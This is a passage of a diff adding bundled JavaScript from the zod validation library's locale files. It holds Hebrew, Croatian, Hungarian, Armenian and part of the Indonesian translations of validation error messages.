label: "nanoid", gender: "m" }, + guid: { label: "GUID", gender: "m" }, + cuid: { label: "cuid", gender: "m" }, + cuid2: { label: "cuid2", gender: "m" }, + ulid: { label: "ULID", gender: "m" }, + xid: { label: "XID", gender: "m" }, + ksuid: { label: "KSUID", gender: "m" }, + datetime: { label: "\u05EA\u05D0\u05E8\u05D9\u05DA \u05D5\u05D6\u05DE\u05DF ISO", gender: "m" }, + date: { label: "\u05EA\u05D0\u05E8\u05D9\u05DA ISO", gender: "m" }, + time: { label: "\u05D6\u05DE\u05DF ISO", gender: "m" }, + duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, + ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, + ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, + cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, + base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, + base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, + json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, + e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + jwt: { label: "JWT", gender: "m" }, + ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, + includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, + lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, + starts_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, + uppercase: { label: "\u05E7\u05DC\u05D8", gender: "m" } + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expectedKey = issue2.expected; + const expected = TypeDictionary[expectedKey ?? ""] ?? typeLabel(expectedKey); + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? TypeNames[receivedType]?.label ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u05E7\u05DC\u05D8 \u05DC\u05D0 \u05EA\u05E7\u05D9\u05DF: \u05E6\u05E8\u05D9\u05DA \u05DC\u05D4\u05D9\u05D5\u05EA instanceof ${issue2.expected}, \u05D4\u05EA\u05E7\u05D1\u05DC ${received}`; + } + return `\u05E7\u05DC\u05D8 \u05DC\u05D0 \u05EA\u05E7\u05D9\u05DF: \u05E6\u05E8\u05D9\u05DA \u05DC\u05D4\u05D9\u05D5\u05EA ${expected}, \u05D4\u05EA\u05E7\u05D1\u05DC ${received}`; + } + case "invalid_value": { + if (issue2.values.length === 1) { + return `\u05E2\u05E8\u05DA \u05DC\u05D0 \u05EA\u05E7\u05D9\u05DF: \u05D4\u05E2\u05E8\u05DA \u05D7\u05D9\u05D9\u05D1 \u05DC\u05D4\u05D9\u05D5\u05EA ${stringifyPrimitive(issue2.values[0])}`; + } + const stringified = issue2.values.map((v) => stringifyPrimitive(v)); + if (issue2.values.length === 2) { + return `\u05E2\u05E8\u05DA \u05DC\u05D0 \u05EA\u05E7\u05D9\u05DF: \u05D4\u05D0\u05E4\u05E9\u05E8\u05D5\u05D9\u05D5\u05EA \u05D4\u05DE\u05EA\u05D0\u05D9\u05DE\u05D5\u05EA \u05D4\u05DF ${stringified[0]} \u05D0\u05D5 ${stringified[1]}`; + } + const lastValue = stringified[stringified.length - 1]; + const restValues = stringified.slice(0, -1).join(", "); + return `\u05E2\u05E8\u05DA \u05DC\u05D0 \u05EA\u05E7\u05D9\u05DF: \u05D4\u05D0\u05E4\u05E9\u05E8\u05D5\u05D9\u05D5\u05EA \u05D4\u05DE\u05EA\u05D0\u05D9\u05DE\u05D5\u05EA \u05D4\u05DF ${restValues} \u05D0\u05D5 ${lastValue}`; + } + case "too_big": { + const sizing = getSizing(issue2.origin); + const subject = withDefinite(issue2.origin ?? "value"); + if (issue2.origin === "string") { + return `${sizing?.longLabel ?? "\u05D0\u05E8\u05D5\u05DA"} \u05DE\u05D3\u05D9: ${subject} \u05E6\u05E8\u05D9\u05DB\u05D4 \u05DC\u05D4\u05DB\u05D9\u05DC ${issue2.maximum.toString()} ${sizing?.unit ?? ""} ${issue2.inclusive ? "\u05D0\u05D5 \u05E4\u05D7\u05D5\u05EA" : "\u05DC\u05DB\u05DC \u05D4\u05D9\u05D5\u05EA\u05E8"}`.trim(); + } + if (issue2.origin === "number") { + const comparison = issue2.inclusive ? `\u05E7\u05D8\u05DF \u05D0\u05D5 \u05E9\u05D5\u05D5\u05D4 \u05DC-${issue2.maximum}` : `\u05E7\u05D8\u05DF \u05DE-${issue2.maximum}`; + return `\u05D2\u05D3\u05D5\u05DC \u05DE\u05D3\u05D9: ${subject} \u05E6\u05E8\u05D9\u05DA \u05DC\u05D4\u05D9\u05D5\u05EA ${comparison}`; + } + if (issue2.origin === "array" || issue2.origin === "set") { + const verb = issue2.origin === "set" ? "\u05E6\u05E8\u05D9\u05DB\u05D4" : "\u05E6\u05E8\u05D9\u05DA"; + const comparison = issue2.inclusive ? `${issue2.maximum} ${sizing?.unit ?? ""} \u05D0\u05D5 \u05E4\u05D7\u05D5\u05EA` : `\u05E4\u05D7\u05D5\u05EA \u05DE-${issue2.maximum} ${sizing?.unit ?? ""}`; + return `\u05D2\u05D3\u05D5\u05DC \u05DE\u05D3\u05D9: ${subject} ${verb} \u05DC\u05D4\u05DB\u05D9\u05DC ${comparison}`.trim(); + } + const adj = issue2.inclusive ? "<=" : "<"; + const be = verbFor(issue2.origin ?? "value"); + if (sizing?.unit) { + return `${sizing.longLabel} \u05DE\u05D3\u05D9: ${subject} ${be} ${adj}${issue2.maximum.toString()} ${sizing.unit}`; + } + return `${sizing?.longLabel ?? "\u05D2\u05D3\u05D5\u05DC"} \u05DE\u05D3\u05D9: ${subject} ${be} ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + const subject = withDefinite(issue2.origin ?? "value"); + if (issue2.origin === "string") { + return `${sizing?.shortLabel ?? "\u05E7\u05E6\u05E8"} \u05DE\u05D3\u05D9: ${subject} \u05E6\u05E8\u05D9\u05DB\u05D4 \u05DC\u05D4\u05DB\u05D9\u05DC ${issue2.minimum.toString()} ${sizing?.unit ?? ""} ${issue2.inclusive ? "\u05D0\u05D5 \u05D9\u05D5\u05EA\u05E8" : "\u05DC\u05E4\u05D7\u05D5\u05EA"}`.trim(); + } + if (issue2.origin === "number") { + const comparison = issue2.inclusive ? `\u05D2\u05D3\u05D5\u05DC \u05D0\u05D5 \u05E9\u05D5\u05D5\u05D4 \u05DC-${issue2.minimum}` : `\u05D2\u05D3\u05D5\u05DC \u05DE-${issue2.minimum}`; + return `\u05E7\u05D8\u05DF \u05DE\u05D3\u05D9: ${subject} \u05E6\u05E8\u05D9\u05DA \u05DC\u05D4\u05D9\u05D5\u05EA ${comparison}`; + } + if (issue2.origin === "array" || issue2.origin === "set") { + const verb = issue2.origin === "set" ? "\u05E6\u05E8\u05D9\u05DB\u05D4" : "\u05E6\u05E8\u05D9\u05DA"; + if (issue2.minimum === 1 && issue2.inclusive) { + const singularPhrase = issue2.origin === "set" ? "\u05DC\u05E4\u05D7\u05D5\u05EA \u05E4\u05E8\u05D9\u05D8 \u05D0\u05D7\u05D3" : "\u05DC\u05E4\u05D7\u05D5\u05EA \u05E4\u05E8\u05D9\u05D8 \u05D0\u05D7\u05D3"; + return `\u05E7\u05D8\u05DF \u05DE\u05D3\u05D9: ${subject} ${verb} \u05DC\u05D4\u05DB\u05D9\u05DC ${singularPhrase}`; + } + const comparison = issue2.inclusive ? `${issue2.minimum} ${sizing?.unit ?? ""} \u05D0\u05D5 \u05D9\u05D5\u05EA\u05E8` : `\u05D9\u05D5\u05EA\u05E8 \u05DE-${issue2.minimum} ${sizing?.unit ?? ""}`; + return `\u05E7\u05D8\u05DF \u05DE\u05D3\u05D9: ${subject} ${verb} \u05DC\u05D4\u05DB\u05D9\u05DC ${comparison}`.trim(); + } + const adj = issue2.inclusive ? ">=" : ">"; + const be = verbFor(issue2.origin ?? "value"); + if (sizing?.unit) { + return `${sizing.shortLabel} \u05DE\u05D3\u05D9: ${subject} ${be} ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `${sizing?.shortLabel ?? "\u05E7\u05D8\u05DF"} \u05DE\u05D3\u05D9: ${subject} ${be} ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u05D4\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D7\u05D9\u05D9\u05D1\u05EA \u05DC\u05D4\u05EA\u05D7\u05D9\u05DC \u05D1 "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `\u05D4\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D7\u05D9\u05D9\u05D1\u05EA \u05DC\u05D4\u05E1\u05EA\u05D9\u05D9\u05DD \u05D1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u05D4\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D7\u05D9\u05D9\u05D1\u05EA \u05DC\u05DB\u05DC\u05D5\u05DC "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u05D4\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D7\u05D9\u05D9\u05D1\u05EA \u05DC\u05D4\u05EA\u05D0\u05D9\u05DD \u05DC\u05EA\u05D1\u05E0\u05D9\u05EA ${_issue.pattern}`; + const nounEntry = FormatDictionary[_issue.format]; + const noun = nounEntry?.label ?? _issue.format; + const gender = nounEntry?.gender ?? "m"; + const adjective = gender === "f" ? "\u05EA\u05E7\u05D9\u05E0\u05D4" : "\u05EA\u05E7\u05D9\u05DF"; + return `${noun} \u05DC\u05D0 ${adjective}`; + } + case "not_multiple_of": + return `\u05DE\u05E1\u05E4\u05E8 \u05DC\u05D0 \u05EA\u05E7\u05D9\u05DF: \u05D7\u05D9\u05D9\u05D1 \u05DC\u05D4\u05D9\u05D5\u05EA \u05DE\u05DB\u05E4\u05DC\u05D4 \u05E9\u05DC ${issue2.divisor}`; + case "unrecognized_keys": + return `\u05DE\u05E4\u05EA\u05D7${issue2.keys.length > 1 ? "\u05D5\u05EA" : ""} \u05DC\u05D0 \u05DE\u05D6\u05D5\u05D4${issue2.keys.length > 1 ? "\u05D9\u05DD" : "\u05D4"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": { + return `\u05E9\u05D3\u05D4 \u05DC\u05D0 \u05EA\u05E7\u05D9\u05DF \u05D1\u05D0\u05D5\u05D1\u05D9\u05D9\u05E7\u05D8`; + } + case "invalid_union": + return "\u05E7\u05DC\u05D8 \u05DC\u05D0 \u05EA\u05E7\u05D9\u05DF"; + case "invalid_element": { + const place = withDefinite(issue2.origin ?? "array"); + return `\u05E2\u05E8\u05DA \u05DC\u05D0 \u05EA\u05E7\u05D9\u05DF \u05D1${place}`; + } + default: + return `\u05E7\u05DC\u05D8 \u05DC\u05D0 \u05EA\u05E7\u05D9\u05DF`; + } + }; +}; +function he_default() { + return { + localeError: error17() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js +var error18 = () => { + const Sizable = { + string: { unit: "znakova", verb: "imati" }, + file: { unit: "bajtova", verb: "imati" }, + array: { unit: "stavki", verb: "imati" }, + set: { unit: "stavki", verb: "imati" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "unos", + email: "email adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO datum i vrijeme", + date: "ISO datum", + time: "ISO vrijeme", + duration: "ISO trajanje", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + cidrv4: "IPv4 raspon", + cidrv6: "IPv6 raspon", + base64: "base64 kodirani tekst", + base64url: "base64url kodirani tekst", + json_string: "JSON tekst", + e164: "E.164 broj", + jwt: "JWT", + template_literal: "unos" + }; + const TypeDictionary = { + nan: "NaN", + string: "tekst", + number: "broj", + boolean: "boolean", + array: "niz", + object: "objekt", + set: "skup", + file: "datoteka", + date: "datum", + bigint: "bigint", + symbol: "simbol", + undefined: "undefined", + null: "null", + function: "funkcija", + map: "mapa" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neispravan unos: o\u010Dekuje se instanceof ${issue2.expected}, a primljeno je ${received}`; + } + return `Neispravan unos: o\u010Dekuje se ${expected}, a primljeno je ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neispravna vrijednost: o\u010Dekivano ${stringifyPrimitive(issue2.values[0])}`; + return `Neispravna opcija: o\u010Dekivano jedno od ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + const origin = TypeDictionary[issue2.origin] ?? issue2.origin; + if (sizing) + return `Preveliko: o\u010Dekivano da ${origin ?? "vrijednost"} ima ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elemenata"}`; + return `Preveliko: o\u010Dekivano da ${origin ?? "vrijednost"} bude ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + const origin = TypeDictionary[issue2.origin] ?? issue2.origin; + if (sizing) { + return `Premalo: o\u010Dekivano da ${origin} ima ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Premalo: o\u010Dekivano da ${origin} bude ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neispravan tekst: mora zapo\u010Dinjati s "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neispravan tekst: mora zavr\u0161avati s "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neispravan tekst: mora sadr\u017Eavati "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neispravan tekst: mora odgovarati uzorku ${_issue.pattern}`; + return `Neispravna ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neispravan broj: mora biti vi\u0161ekratnik od ${issue2.divisor}`; + case "unrecognized_keys": + return `Neprepoznat${issue2.keys.length > 1 ? "i klju\u010Devi" : " klju\u010D"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neispravan klju\u010D u ${TypeDictionary[issue2.origin] ?? issue2.origin}`; + case "invalid_union": + return "Neispravan unos"; + case "invalid_element": + return `Neispravna vrijednost u ${TypeDictionary[issue2.origin] ?? issue2.origin}`; + default: + return `Neispravan unos`; + } + }; +}; +function hr_default() { + return { + localeError: error18() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js +var error19 = () => { + const Sizable = { + string: { unit: "karakter", verb: "legyen" }, + file: { unit: "byte", verb: "legyen" }, + array: { unit: "elem", verb: "legyen" }, + set: { unit: "elem", verb: "legyen" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "bemenet", + email: "email c\xEDm", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO id\u0151b\xE9lyeg", + date: "ISO d\xE1tum", + time: "ISO id\u0151", + duration: "ISO id\u0151intervallum", + ipv4: "IPv4 c\xEDm", + ipv6: "IPv6 c\xEDm", + cidrv4: "IPv4 tartom\xE1ny", + cidrv6: "IPv6 tartom\xE1ny", + base64: "base64-k\xF3dolt string", + base64url: "base64url-k\xF3dolt string", + json_string: "JSON string", + e164: "E.164 sz\xE1m", + jwt: "JWT", + template_literal: "bemenet" + }; + const TypeDictionary = { + nan: "NaN", + number: "sz\xE1m", + array: "t\xF6mb" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\xC9rv\xE9nytelen bemenet: a v\xE1rt \xE9rt\xE9k instanceof ${issue2.expected}, a kapott \xE9rt\xE9k ${received}`; + } + return `\xC9rv\xE9nytelen bemenet: a v\xE1rt \xE9rt\xE9k ${expected}, a kapott \xE9rt\xE9k ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\xC9rv\xE9nytelen bemenet: a v\xE1rt \xE9rt\xE9k ${stringifyPrimitive(issue2.values[0])}`; + return `\xC9rv\xE9nytelen opci\xF3: valamelyik \xE9rt\xE9k v\xE1rt ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `T\xFAl nagy: ${issue2.origin ?? "\xE9rt\xE9k"} m\xE9rete t\xFAl nagy ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elem"}`; + return `T\xFAl nagy: a bemeneti \xE9rt\xE9k ${issue2.origin ?? "\xE9rt\xE9k"} t\xFAl nagy: ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `T\xFAl kicsi: a bemeneti \xE9rt\xE9k ${issue2.origin} m\xE9rete t\xFAl kicsi ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `T\xFAl kicsi: a bemeneti \xE9rt\xE9k ${issue2.origin} t\xFAl kicsi ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\xC9rv\xE9nytelen string: "${_issue.prefix}" \xE9rt\xE9kkel kell kezd\u0151dnie`; + if (_issue.format === "ends_with") + return `\xC9rv\xE9nytelen string: "${_issue.suffix}" \xE9rt\xE9kkel kell v\xE9gz\u0151dnie`; + if (_issue.format === "includes") + return `\xC9rv\xE9nytelen string: "${_issue.includes}" \xE9rt\xE9ket kell tartalmaznia`; + if (_issue.format === "regex") + return `\xC9rv\xE9nytelen string: ${_issue.pattern} mint\xE1nak kell megfelelnie`; + return `\xC9rv\xE9nytelen ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\xC9rv\xE9nytelen sz\xE1m: ${issue2.divisor} t\xF6bbsz\xF6r\xF6s\xE9nek kell lennie`; + case "unrecognized_keys": + return `Ismeretlen kulcs${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\xC9rv\xE9nytelen kulcs ${issue2.origin}`; + case "invalid_union": + return "\xC9rv\xE9nytelen bemenet"; + case "invalid_element": + return `\xC9rv\xE9nytelen \xE9rt\xE9k: ${issue2.origin}`; + default: + return `\xC9rv\xE9nytelen bemenet`; + } + }; +}; +function hu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +function getArmenianPlural(count, one, many) { + return Math.abs(count) === 1 ? one : many; +} +function withDefiniteArticle(word) { + if (!word) + return ""; + const vowels = ["\u0561", "\u0565", "\u0568", "\u056B", "\u0578", "\u0578\u0582", "\u0585"]; + const lastChar = word[word.length - 1]; + return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); +} +var error20 = () => { + const Sizable = { + string: { + unit: { + one: "\u0576\u0577\u0561\u0576", + many: "\u0576\u0577\u0561\u0576\u0576\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + file: { + unit: { + one: "\u0562\u0561\u0575\u0569", + many: "\u0562\u0561\u0575\u0569\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + array: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + set: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0574\u0578\u0582\u057F\u0584", + email: "\u0567\u056C. \u0570\u0561\u057D\u0581\u0565", + url: "URL", + emoji: "\u0567\u0574\u0578\u057B\u056B", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0561\u0574\u057D\u0561\u0569\u056B\u057E \u0587 \u056A\u0561\u0574", + date: "ISO \u0561\u0574\u057D\u0561\u0569\u056B\u057E", + time: "ISO \u056A\u0561\u0574", + duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", + ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", + ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", + cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", + base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", + base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", + json_string: "JSON \u057F\u0578\u0572", + e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + jwt: "JWT", + template_literal: "\u0574\u0578\u0582\u057F\u0584" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0569\u056B\u057E", + array: "\u0566\u0561\u0576\u0563\u057E\u0561\u056E" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u054D\u056D\u0561\u056C \u0574\u0578\u0582\u057F\u0584\u0561\u0563\u0580\u0578\u0582\u0574\u2024 \u057D\u057A\u0561\u057D\u057E\u0578\u0582\u0574 \u0567\u0580 instanceof ${issue2.expected}, \u057D\u057F\u0561\u0581\u057E\u0565\u056C \u0567 ${received}`; + } + return `\u054D\u056D\u0561\u056C \u0574\u0578\u0582\u057F\u0584\u0561\u0563\u0580\u0578\u0582\u0574\u2024 \u057D\u057A\u0561\u057D\u057E\u0578\u0582\u0574 \u0567\u0580 ${expected}, \u057D\u057F\u0561\u0581\u057E\u0565\u056C \u0567 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u054D\u056D\u0561\u056C \u0574\u0578\u0582\u057F\u0584\u0561\u0563\u0580\u0578\u0582\u0574\u2024 \u057D\u057A\u0561\u057D\u057E\u0578\u0582\u0574 \u0567\u0580 ${stringifyPrimitive(issue2.values[1])}`; + return `\u054D\u056D\u0561\u056C \u057F\u0561\u0580\u0562\u0565\u0580\u0561\u056F\u2024 \u057D\u057A\u0561\u057D\u057E\u0578\u0582\u0574 \u0567\u0580 \u0570\u0565\u057F\u0587\u0575\u0561\u056C\u0576\u0565\u0580\u056B\u0581 \u0574\u0565\u056F\u0568\u055D ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + const maxValue = Number(issue2.maximum); + const unit = getArmenianPlural(maxValue, sizing.unit.one, sizing.unit.many); + return `\u0549\u0561\u0583\u0561\u0566\u0561\u0576\u0581 \u0574\u0565\u056E \u0561\u0580\u056A\u0565\u0584\u2024 \u057D\u057A\u0561\u057D\u057E\u0578\u0582\u0574 \u0567, \u0578\u0580 ${withDefiniteArticle(issue2.origin ?? "\u0561\u0580\u056A\u0565\u0584")} \u056F\u0578\u0582\u0576\u0565\u0576\u0561 ${adj}${issue2.maximum.toString()} ${unit}`; + } + return `\u0549\u0561\u0583\u0561\u0566\u0561\u0576\u0581 \u0574\u0565\u056E \u0561\u0580\u056A\u0565\u0584\u2024 \u057D\u057A\u0561\u057D\u057E\u0578\u0582\u0574 \u0567, \u0578\u0580 ${withDefiniteArticle(issue2.origin ?? "\u0561\u0580\u056A\u0565\u0584")} \u056C\u056B\u0576\u056B ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + const minValue = Number(issue2.minimum); + const unit = getArmenianPlural(minValue, sizing.unit.one, sizing.unit.many); + return `\u0549\u0561\u0583\u0561\u0566\u0561\u0576\u0581 \u0583\u0578\u0584\u0580 \u0561\u0580\u056A\u0565\u0584\u2024 \u057D\u057A\u0561\u057D\u057E\u0578\u0582\u0574 \u0567, \u0578\u0580 ${withDefiniteArticle(issue2.origin)} \u056F\u0578\u0582\u0576\u0565\u0576\u0561 ${adj}${issue2.minimum.toString()} ${unit}`; + } + return `\u0549\u0561\u0583\u0561\u0566\u0561\u0576\u0581 \u0583\u0578\u0584\u0580 \u0561\u0580\u056A\u0565\u0584\u2024 \u057D\u057A\u0561\u057D\u057E\u0578\u0582\u0574 \u0567, \u0578\u0580 ${withDefiniteArticle(issue2.origin)} \u056C\u056B\u0576\u056B ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u054D\u056D\u0561\u056C \u057F\u0578\u0572\u2024 \u057A\u0565\u057F\u0584 \u0567 \u057D\u056F\u057D\u057E\u056B "${_issue.prefix}"-\u0578\u057E`; + if (_issue.format === "ends_with") + return `\u054D\u056D\u0561\u056C \u057F\u0578\u0572\u2024 \u057A\u0565\u057F\u0584 \u0567 \u0561\u057E\u0561\u0580\u057F\u057E\u056B "${_issue.suffix}"-\u0578\u057E`; + if (_issue.format === "includes") + return `\u054D\u056D\u0561\u056C \u057F\u0578\u0572\u2024 \u057A\u0565\u057F\u0584 \u0567 \u057A\u0561\u0580\u0578\u0582\u0576\u0561\u056F\u056B "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u054D\u056D\u0561\u056C \u057F\u0578\u0572\u2024 \u057A\u0565\u057F\u0584 \u0567 \u0570\u0561\u0574\u0561\u057A\u0561\u057F\u0561\u057D\u056D\u0561\u0576\u056B ${_issue.pattern} \u0571\u0587\u0561\u0579\u0561\u0583\u056B\u0576`; + return `\u054D\u056D\u0561\u056C ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u054D\u056D\u0561\u056C \u0569\u056B\u057E\u2024 \u057A\u0565\u057F\u0584 \u0567 \u0562\u0561\u0566\u0574\u0561\u057A\u0561\u057F\u056B\u056F \u056C\u056B\u0576\u056B ${issue2.divisor}-\u056B`; + case "unrecognized_keys": + return `\u0549\u0573\u0561\u0576\u0561\u0579\u057E\u0561\u056E \u0562\u0561\u0576\u0561\u056C\u056B${issue2.keys.length > 1 ? "\u0576\u0565\u0580" : ""}. ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u054D\u056D\u0561\u056C \u0562\u0561\u0576\u0561\u056C\u056B ${withDefiniteArticle(issue2.origin)}-\u0578\u0582\u0574`; + case "invalid_union": + return "\u054D\u056D\u0561\u056C \u0574\u0578\u0582\u057F\u0584\u0561\u0563\u0580\u0578\u0582\u0574"; + case "invalid_element": + return `\u054D\u056D\u0561\u056C \u0561\u0580\u056A\u0565\u0584 ${withDefiniteArticle(issue2.origin)}-\u0578\u0582\u0574`; + default: + return `\u054D\u056D\u0561\u056C \u0574\u0578\u0582\u057F\u0584\u0561\u0563\u0580\u0578\u0582\u0574`; + } + }; +}; +function hy_default() { + return { + localeError: error20() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js +var error21 = () => { + const Sizable = { + string: { unit: "karakter", verb: "memiliki" }, + file: { unit: "byte", verb: "memiliki" }, + array: { unit: "item", verb: "memiliki" }, + set: { unit: "item", verb: "memiliki" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "alamat email", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "tanggal dan waktu format ISO", + date: "tanggal format ISO", + time: "jam format ISO", + duration: "durasi format ISO", + ipv4: "alamat IPv4", + ipv6: "alamat IPv6", + cidrv4: "rentang alamat IPv4", + cidrv6: "rentang alamat IPv6", + base64: "string dengan enkode base64", + base64url: "string dengan enkode base64url", + json_string: "string JSON", + e164: "angka E.164", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch 